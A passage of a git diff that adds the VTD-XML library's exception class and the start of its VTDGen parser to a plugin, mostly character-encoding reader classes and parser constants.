VTDException is the root exception for all VTD-XML's exception + * + */ +public class VTDException extends Exception{ + public VTDException(String s){ + super(s); + } + public VTDException(){ + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDGen.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDGen.java new file mode 100644 index 0000000..63d0c0d --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDGen.java @@ -0,0 +1,5228 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.util.zip.GZIPInputStream; +import java.util.zip.ZipFile; +import java.util.zip.ZipInputStream; + +import com.ximpleware.parser.ISO8859_10; +import com.ximpleware.parser.ISO8859_11; +import com.ximpleware.parser.ISO8859_2; +import com.ximpleware.parser.ISO8859_3; +import com.ximpleware.parser.ISO8859_4; +import com.ximpleware.parser.ISO8859_5; +import com.ximpleware.parser.ISO8859_6; +import com.ximpleware.parser.ISO8859_7; +import com.ximpleware.parser.ISO8859_8; +import com.ximpleware.parser.ISO8859_9; +import com.ximpleware.parser.UTF8Char; +import com.ximpleware.parser.WIN1250; +import com.ximpleware.parser.WIN1251; +import com.ximpleware.parser.WIN1252; +import com.ximpleware.parser.WIN1253; +import com.ximpleware.parser.WIN1254; +import com.ximpleware.parser.WIN1255; +import com.ximpleware.parser.WIN1256; +import com.ximpleware.parser.WIN1257; +import com.ximpleware.parser.WIN1258; +import com.ximpleware.parser.XMLChar; +//import com.ximpleware.parser.ISO8859_11; +import com.ximpleware.parser.ISO8859_13; +import com.ximpleware.parser.ISO8859_14; +import com.ximpleware.parser.ISO8859_15; +/** + * VTD Generator implementation. + * Current support built-in entities only + * It parses DTD, but doesn't resolve declared entities + */ +public class VTDGen { + + class ASCIIReader implements IReader { + public ASCIIReader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + int a; + if (offset >= endOffset) + throw e; + a= XMLDoc[offset++]; + if (a<0) + throw new ParseException( + "ASCII encoding error: invalid ASCII Char"); + return a; + } + final public boolean skipChar(int ch) + throws ParseException, EOFException, EncodingException { + if (ch == XMLDoc[offset]) { + offset++; + return true; + } else { + return false; + } + } + + final public long _getChar(int offset){ + int c = XMLDoc[offset]; + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + + final public char decode(int offset){ + return (char) XMLDoc[offset]; + } + + } + + + class ISO8859_10Reader implements IReader { + public ISO8859_10Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_10.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_10.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_10.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return ISO8859_10.decode(XMLDoc[offset]); + } + } + class ISO8859_1Reader implements IReader { + public ISO8859_1Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return XMLDoc[offset++] & 0xff; + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == XMLDoc[offset]) { + offset++; + return true; + } else { + return false; + } + } + + final public long _getChar(int offset){ + int c = 0xff & XMLDoc[offset]; + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + + final public char decode(int offset){ + return (char)(XMLDoc[offset] & 0xff); + } + } + + class ISO8859_2Reader implements IReader { + public ISO8859_2Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_2.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_2.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_2.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + + final public char decode(int offset){ + return ISO8859_2.decode(XMLDoc[offset]); + } + } + class ISO8859_3Reader implements IReader { + public ISO8859_3Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_3.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_3.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_3.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return ISO8859_3.decode(XMLDoc[offset]); + } + } + + class ISO8859_4Reader implements IReader { + public ISO8859_4Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_4.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_4.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_4.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + + final public char decode(int offset){ + return ISO8859_4.decode(XMLDoc[offset]); + } + } + + class ISO8859_5Reader implements IReader { + public ISO8859_5Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_5.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_5.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_5.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return ISO8859_5.decode(XMLDoc[offset]); + } + } + + class ISO8859_6Reader implements IReader { + public ISO8859_6Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_6.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_6.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_6.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return ISO8859_6.decode(XMLDoc[offset]); + } + } + class ISO8859_7Reader implements IReader { + public ISO8859_7Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_7.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_7.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_7.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + + final public char decode(int offset){ + return ISO8859_7.decode(XMLDoc[offset]); + } + } + + class ISO8859_8Reader implements IReader { + public ISO8859_8Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_8.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_8.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_8.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return ISO8859_8.decode(XMLDoc[offset]); + } + } + + class ISO8859_9Reader implements IReader { + public ISO8859_9Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_9.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_9.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_9.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + + final public char decode(int offset){ + return ISO8859_9.decode(XMLDoc[offset]); + } + } + + class ISO8859_11Reader implements IReader { + public ISO8859_11Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_11.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_11.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_11.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return ISO8859_11.decode(XMLDoc[offset]); + } + } + class ISO8859_13Reader implements IReader { + public ISO8859_13Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_13.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_13.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_13.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return ISO8859_13.decode(XMLDoc[offset]); + } + } + class ISO8859_14Reader implements IReader { + public ISO8859_14Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_14.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_14.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_14.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return ISO8859_14.decode(XMLDoc[offset]); + } + } + class ISO8859_15Reader implements IReader { + public ISO8859_15Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return ISO8859_15.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == ISO8859_15.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = ISO8859_15.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return ISO8859_15.decode(XMLDoc[offset]); + } + } + class UTF16BEReader implements IReader { + public UTF16BEReader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + int val = 0; + if (offset >= endOffset) + throw e; + int temp = (XMLDoc[offset]&0xff) << 8 | (XMLDoc[offset + 1]&0xff); + if ((temp < 0xd800) || (temp > 0xdfff)) { // not a high surrogate + offset += 2; + return temp; + } else { + if (temp<0xd800 || temp>0xdbff) + throw new EncodingException("UTF 16 BE encoding error: should never happen"); + val = temp; + temp = (XMLDoc[offset + 2]&0xff) << 8 | (XMLDoc[offset + 3]&0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be a low surrogate here + throw new EncodingException("UTF 16 BE encoding error: should never happen"); + } + val = ((val - 0xd800)<<10) + (temp - 0xdc00) + 0x10000; + offset += 4; + return val; + + } + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + // implement UTF-16BE to UCS4 conversion + int temp = (XMLDoc[offset]&0xff) << 8 | (XMLDoc[offset + 1]&0xff); + if ((temp < 0xd800) || (temp > 0xdfff)) { // not a high surrogate + //offset += 2; + if (temp == ch) { + offset += 2; + return true; + } else + return false; + } else { + if (temp<0xd800 || temp>0xdbff) + throw new EncodingException("UTF 16 BE encoding error: should never happen"); + int val = temp; + temp = (XMLDoc[offset + 2]&0xff) << 8 | (XMLDoc[offset + 3]&0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be a low surrogate here + throw new EncodingException("UTF 16 BE encoding error: should never happen"); + } + val = ((val - 0xd800) << 10) + (temp - 0xdc00) + 0x10000; + if (val == ch) { + offset += 4; + return true; + } else + return false; + } + } + final public char decode(int offset){ + return 0; + } + + final public long _getChar(int offset){ + long val; + + int temp = + ((XMLDoc[offset ] & 0xff) << 8) + |(XMLDoc[offset + 1]& 0xff); + if ((temp < 0xd800) + || (temp > 0xdfff)) { // not a high surrogate + if (temp == '\r') { + if (XMLDoc[offset + 3] == '\n' + && XMLDoc[offset + 2] == 0) { + + return '\n'|(4L<<32); + } else { + return '\n'|(2L<<32); + } + } + //currentOffset++; + return temp| (2L<<32); + } else { + val = temp; + temp = + ((XMLDoc[offset + 2] & 0xff) + << 8) | (XMLDoc[offset+ 3] & 0xff); + val = ((temp - 0xd800) << 10) + (val - 0xdc00) + 0x10000; + //currentOffset += 2; + return val | (4L<<32); + } + } + } + class UTF16LEReader implements IReader { + + public UTF16LEReader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + int val = 0; + if (offset >= endOffset) + throw e; + int temp = (XMLDoc[offset + 1] &0xff) << 8 | (XMLDoc[offset]& 0xff); + if (temp < 0xd800 || temp > 0xdfff) { // check for low surrogate + offset += 2; + return temp; + } else { + if (temp<0xd800 || temp>0xdbff) + throw new EncodingException("UTF 16 LE encoding error: should never happen"); + val = temp; + temp = (XMLDoc[offset + 3] &0xff) << 8 | (XMLDoc[offset + 2]&0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be high surrogate + throw new EncodingException("UTF 16 LE encoding error: should never happen"); + } + val = ((val - 0xd800) <<10) + (temp - 0xdc00) + 0x10000; + offset += 4; + return val; + } + } + final public boolean skipChar(int ch) + throws EOFException, EncodingException, ParseException { + + int temp = (XMLDoc[offset + 1]&0xff) << 8 | (XMLDoc[offset]&0xff); + if (temp < 0xd800 ||temp > 0xdfff) { // check for low surrogate + if (temp == ch) { + offset += 2; + return true; + } else { + return false; + } + } else { + if (temp<0xd800 || temp>0xdbff) + throw new EncodingException("UTF 16 LE encoding error: should never happen"); + int val = temp; + temp = (XMLDoc[offset + 3] &0xff)<< 8 | (XMLDoc[offset + 2]&0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be high surrogate + throw new EncodingException("UTF 16 LE encoding error: should never happen"); + } + val = ((val - 0xd800)<<10) + (temp - 0xdc00) + 0x10000; + if (val == ch) { + offset += 4; + return true; + } else + return false; + } + + } + final public char decode(int offset){ + return 0; + } + + final public long _getChar(int offset){ + // implement UTF-16LE to UCS4 conversion + int val, temp = + (XMLDoc[offset + 1 ] & 0xff) + << 8 | (XMLDoc[offset] & 0xff); + if (temp < 0xdc00 || temp > 0xdfff) { // check for low surrogate + if (temp == '\r') { + if (XMLDoc[offset + 2] == '\n' + && XMLDoc[offset + 3] == 0) { + return '\n' | (4L<<32) ; + } else { + return '\n' | (2L<<32); + } + } + return temp | (2L<<32); + } else { + val = temp; + temp = + (XMLDoc[offset + 3]&0xff) + << 8 | (XMLDoc[offset + 2] & 0xff); + val = ((temp - 0xd800)<<10) + (val - 0xdc00) + 0x10000; + + return val | (4L<<32); + } + } + } + + + + class UTF8Reader implements IReader { + public UTF8Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + if (offset >= endOffset) + throw e; + int temp = XMLDoc[offset]; + //int a = 0, c = 0, d = 0, val = 0; + if (temp >= 0) { + ++offset; + return temp; + } + return handleUTF8(temp); + + } + + + private int handleUTF8(int temp) throws EncodingException, ParseException{ + int val,c,d,a,i; + temp = temp & 0xff; + switch (UTF8Char.byteCount(temp)) { // handle multi-byte code + case 2: + c = 0x1f; + // A mask determine the val portion of the first byte + d = 6; // + a = 1; // + break; + case 3: + c = 0x0f; + d = 12; + a = 2; + break; + case 4: + c = 0x07; + d = 18; + a = 3; + break; + case 5: + c = 0x03; + d = 24; + a = 4; + break; + case 6: + c = 0x01; + d = 30; + a = 5; + break; + default: + throw new ParseException( + "UTF 8 encoding error: should never happen"); + } + val = (temp & c) << d; + i = a - 1; + while (i >= 0) { + temp = XMLDoc[offset + a - i]; + if ((temp & 0xc0) != 0x80) + throw new ParseException( + "UTF 8 encoding error: should never happen"); + val = val | ((temp & 0x3f) << ((i << 2) + (i << 1))); + i--; + } + offset += a + 1; + return val; + } + final public boolean skipChar(int ch) + throws EOFException, EncodingException, ParseException { + //int a = 0, c = 0, d = 0, val = 0; + int temp = XMLDoc[offset]; + if (temp >= 0) + if (ch == temp) { + offset++; + return true; + } else { + return false; + } + return skipUTF8(temp, ch); + } + private boolean skipUTF8(int temp, int ch) throws EncodingException, ParseException{ + int val, c, d, a, i; + temp = temp & 0xff; + switch (UTF8Char.byteCount(temp)) { // handle multi-byte code + case 2: + c = 0x1f; + // A mask determine the val portion of the first byte + d = 6; // + a = 1; // + break; + case 3: + c = 0x0f; + d = 12; + a = 2; + break; + case 4: + c = 0x07; + d = 18; + a = 3; + break; + case 5: + c = 0x03; + d = 24; + a = 4; + break; + case 6: + c = 0x01; + d = 30; + a = 5; + break; + default: + throw new ParseException( + "UTF 8 encoding error: should never happen"); + } + val = (temp & c) << d; + i = a - 1; + while (i >= 0) { + temp = XMLDoc[offset + a - i]; + if ((temp & 0xc0) != 0x80) + throw new ParseException( + "UTF 8 encoding error: should never happen"); + val = val | ((temp & 0x3f) << ((i << 2) + (i << 1))); + i--; + } + if (val == ch){ + offset += a + 1; + return true; + }else + return false; + + } + + final public long _getChar(int offset){ + int temp = XMLDoc[offset]; + if (temp>=0){ + if (temp == '\r') { + if (XMLDoc[offset + 1] == '\n') { + return '\n'|(2L<<32); + } else { + return '\n'|(1L<<32); + } + } + //currentOffset++; + return temp|(1L<<32); + } + return handle_utf8(temp,offset); + } + + private long handle_utf8(int temp, int offset) { + // TODO Auto-generated method stub + int c=0, d=0, a=0; + + long val; + switch (UTF8Char.byteCount((int)temp & 0xff)) { + case 2: + c = 0x1f; + d = 6; + a = 1; + break; + case 3: + c = 0x0f; + d = 12; + a = 2; + break; + case 4: + c = 0x07; + d = 18; + a = 3; + break; + case 5: + c = 0x03; + d = 24; + a = 4; + break; + case 6: + c = 0x01; + d = 30; + a = 5; + break; + } + + val = (temp & c) << d; + int i = a - 1; + while (i >= 0) { + temp = XMLDoc[offset + a - i]; + val = val | ((temp & 0x3f) << ((i << 2) + (i << 1))); + i--; + } + //currentOffset += a + 1; + return val | (((long)(a+1))<<32); + } + + final public char decode(int offset){ + return 0; + } + } + + class WIN1250Reader implements IReader { + public WIN1250Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return WIN1250.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == WIN1250.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = WIN1250.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + + final public char decode(int offset){ + return WIN1250.decode(XMLDoc[offset]); + } + } + class WIN1251Reader implements IReader { + public WIN1251Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return WIN1251.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == WIN1251.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = WIN1251.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return WIN1251.decode(XMLDoc[offset]); + } + } + + + + + class WIN1252Reader implements IReader { + public WIN1252Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return WIN1252.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == WIN1252.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = WIN1252.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return WIN1252.decode(XMLDoc[offset]); + } + } + + class WIN1253Reader implements IReader { + public WIN1253Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return WIN1253.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == WIN1253.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = WIN1253.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return WIN1253.decode(XMLDoc[offset]); + } + } + + class WIN1254Reader implements IReader { + public WIN1254Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return WIN1254.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == WIN1254.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = WIN1254.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return WIN1254.decode(XMLDoc[offset]); + } + } + + class WIN1255Reader implements IReader { + public WIN1255Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return WIN1255.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == WIN1255.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = WIN1255.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return WIN1255.decode(XMLDoc[offset]); + } + } + + class WIN1256Reader implements IReader { + public WIN1256Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return WIN1256.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == WIN1256.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = WIN1256.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return WIN1256.decode(XMLDoc[offset]); + } + } + + class WIN1257Reader implements IReader { + public WIN1257Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return WIN1257.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == WIN1257.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = WIN1257.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + final public char decode(int offset){ + return WIN1257.decode(XMLDoc[offset]); + } + } + + class WIN1258Reader implements IReader { + public WIN1258Reader() { + } + final public int getChar() + throws EOFException, ParseException, EncodingException { + + if (offset >= endOffset) + throw e; + return WIN1258.decode(XMLDoc[offset++]); + } + final public boolean skipChar(int ch) + throws EOFException, ParseException, EncodingException { + if (ch == WIN1258.decode(XMLDoc[offset])) { + offset++; + return true; + } else { + return false; + } + } + final public long _getChar(int offset){ + int c = WIN1258.decode(XMLDoc[offset]); + if (c=='\r' && XMLDoc[offset+1]=='\n') + return (2L<<32)|'\n'; + return (1L<<32)|c; + } + + final public char decode(int offset){ + return WIN1258.decode(XMLDoc[offset]); + } + } + + // attr_name_array size + private final static int ATTR_NAME_ARRAY_SIZE = 16; + public final static int FORMAT_ASCII = 0; + + public final static int FORMAT_ISO_8859_1 = 1; + public final static int FORMAT_ISO_8859_10 = 11; + public final static int FORMAT_ISO_8859_11 = 12; + public final static int FORMAT_ISO_8859_12 = 13; + public final static int FORMAT_ISO_8859_13 = 14; + public final static int FORMAT_ISO_8859_14 = 15; + public final static int FORMAT_ISO_8859_15 = 16; + public final static int FORMAT_ISO_8859_16 = 17; + public final static int FORMAT_ISO_8859_2 = 3; + public final static int FORMAT_ISO_8859_3 = 4; + public final static int FORMAT_ISO_8859_4 = 5; + public final static int FORMAT_ISO_8859_5 = 6; + public final static int FORMAT_ISO_8859_6 = 7; + public final static int FORMAT_ISO_8859_7 = 8; + public final static int FORMAT_ISO_8859_8 = 9; + public final static int FORMAT_ISO_8859_9 = 10; + public final static int FORMAT_UTF_16BE = 63; + public final static int FORMAT_UTF_16LE = 64; + + // encoding format + public final static int FORMAT_UTF8 = 2; + + public final static int FORMAT_WIN_1250 = 18; + public final static int FORMAT_WIN_1251 = 19; + public final static int FORMAT_WIN_1252 = 20; + public final static int FORMAT_WIN_1253 = 21; + public final static int FORMAT_WIN_1254 = 22; + public final static int FORMAT_WIN_1255 = 23; + public final static int FORMAT_WIN_1256 = 24; + public final static int FORMAT_WIN_1257 = 25; + public final static int FORMAT_WIN_1258 = 26; + public final static int MAX_DEPTH = 254; // maximum depth value + // max prefix length + public final static int MAX_PREFIX_LENGTH = (1<<9) -1; + // max Qname length + public final static int MAX_QNAME_LENGTH = (1<<11) -1; + // max Token length + public final static int MAX_TOKEN_LENGTH = (1<<20) -1; + private final static int STATE_ATTR_NAME = 3; + private final static int STATE_ATTR_VAL = 4; + private final static int STATE_CDATA = 12; + private final static int STATE_COMMENT = 11; + private final static int STATE_DEC_ATTR_NAME = 10; + private final static int STATE_DOC_END = 7; // end of document + private final static int STATE_DOC_START = 6; // beginning of document + private final static int STATE_DOCTYPE = 13; + private final static int STATE_END_COMMENT = 14; + // comment appear after the last ending tag + private final static int STATE_END_PI = 15; + private final static int STATE_END_TAG = 2; + // internal parser state + + private final static int STATE_LT_SEEN = 0; // encounter the first < + private final static int STATE_PI_TAG =8; + private final static int STATE_PI_VAL = 9; + private final static int STATE_START_TAG = 1; + private final static int STATE_TEXT = 5; + // tag_stack size + private final static int TAG_STACK_SIZE = 256; + public final static int TOKEN_ATTR_NAME = 2; + public final static int TOKEN_ATTR_NS = 3; + public final static int TOKEN_ATTR_VAL = 4; + public final static int TOKEN_CDATA_VAL = 11; + public final static int TOKEN_CHARACTER_DATA = 5; + public final static int TOKEN_COMMENT = 6; + public final static int TOKEN_DEC_ATTR_NAME = 9; + public final static int TOKEN_DEC_ATTR_VAL = 10; + public final static int TOKEN_DOCUMENT = 13; + public final static int TOKEN_DTD_VAL = 12; + public final static int TOKEN_ENDING_TAG = 1; + public final static int TOKEN_PI_NAME = 7; + public final static int TOKEN_PI_VAL = 8; + //private final static int STATE_END_PI_VAL = 17; + + // token type + public final static int TOKEN_STARTING_TAG = 0; + protected byte[] XMLDoc; + protected IReader r; + private int ch; + private int ch_temp; + protected int offset; + protected int depth; + private int length1, length2; + protected boolean helper=false; + protected boolean default_ns = false; //true xmlns='abc' + protected boolean isXML = false; + protected boolean singleByteEncoding; + protected boolean shallowDepth; // true if lc depth is 3 + protected boolean ns,is_ns; + protected boolean br; //buffer reuse + + private int temp_offset; + protected int endOffset; + protected int prev_offset; + private int increment; + protected long[] tag_stack; + private long[] attr_name_array; + + private int attr_count; + private long[] prefixed_attr_name_array; + private int[] prefix_URL_array; + private int prefixed_attr_count; + + protected FastLongBuffer VTDBuffer; + + //protected int offset_adj; // determine the byte length for ':' for various encoding types + + // again, in terms of byte, not char as encoded in VTD + + protected FastLongBuffer l1Buffer; + protected FastLongBuffer l2Buffer; + protected FastIntBuffer l3Buffer; + protected FastLongBuffer _l3Buffer; + protected FastLongBuffer _l4Buffer; + protected 